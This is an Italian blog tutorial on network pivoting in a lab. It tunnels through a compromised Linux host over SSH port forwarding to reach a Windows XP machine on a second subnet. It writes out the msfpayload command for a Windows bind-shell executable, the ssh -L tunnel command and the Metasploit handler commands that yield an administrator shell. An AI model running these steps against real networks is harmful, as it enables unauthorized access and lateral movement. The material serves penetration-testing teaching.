Pivoting parte 2

Usare SSH

Nell’esercizio di oggi vediamo come utilizzare OpenSSH ed il Pivoting per attaccare una macchina Target non accessibile dall’esterno e quindi non raggiungibile direttamente dalla nostra macchina Host.

Il nostro network è composto da due subnet: una prima subnet con indirizzo 192.168.46.0/24 ed una seconda subnet con indirizzo 192.168.152.0/24.

Sulla prima subnet troviamo la nostra macchina Host che risponde all’indirizzo 192.168.46.128 e la macchina Target 1 che risponde all’indirizzo 192.168.46.131.

Sulla seconda subnet troviamo la macchina Target 1 con la seconda interfaccia di rete all’indirizzo 192.168.152.135 e la macchina Target 2 che risponde all’IP 192.168.152.128.

ssh_pivoting_network

Come si può evincere dalla configurazione e dall’immagine sopra pubblicata non è possibile per la macchina Host raggiungere ed exploitare la macchina Target 2.

Per ovviare a questo problema l’unica soluzione e’ quella di utilizzare la macchina Target 1, che è in grado di raggiungere la seconda subnet, come un cavallo di troia per raggiungere la macchina Target 2.

Ovviamente per fare questo è necessario che la macchina Target 1 sia compromessa: nel nostro caso abbiamo un accesso SSH con utente root.

E’ importante ricordare che nel caso di Pivoting con SSH non è possibile usare payload di tipo reverse shell; ma solo payload di tipo bind shell: questo perché’ nel caso di reverse shell la macchina Target non è in grado di conoscere il routing verso la macchina Host.

Preparare il Payload

Iniziamo a preparare l’exploit: in questo caso per praticità creremo un payload che copieremo manualmente sulla macchina Target 2 perché l’esercizio di oggi è relativo al pivoting e non a come exploitare una macchina XP remota.

Per creare l’exploit utilizziamo il comando:

msfpayload windows/shell/bind_tcp RHOST=192.168.152.128 X > /root/Desktop/payload_bindshell.exe

ssh_pivoting_create_exploit

Usare SSH

A questo punto prima di lanciare l’exploit utilizziamo SSH per aprire un tunnel verso la macchina Target 2: il comando è il seguente:

ssh –L 192.168.46.128:4444:192.168.152.128:4444 root@192.168.46.131

L’opzione “–L” ci dice di utilizzare il Local Forwarding dalla macchina Client (Host) verso la macchina Target 2, tra la porta 4444 sulla macchina Host verso la porta 4444 della macchina Target 2 utilizzando la macchina Server (Target 1) con l’utente root.

ssh_pivoting

Lanciare l’exploit

Infine ci prepariamo ad intercettare il payload utilizzando msfconsole con il comando:

use exploit/multi/handler

set PAYLOAD windows/shell/bind_tcp

set RHOST 192.168.152.128

set LPORT 4444

exploit

Ci spostiamo quindi sulla macchina Target 2 e lanciamo l’exploit.

Il risultato non si farà attendere ed avremo una shell con privilegi di amministratore.

ssh_pivoting_exploited

Leave a Reply

Your email address will not be published. Required fields are marked *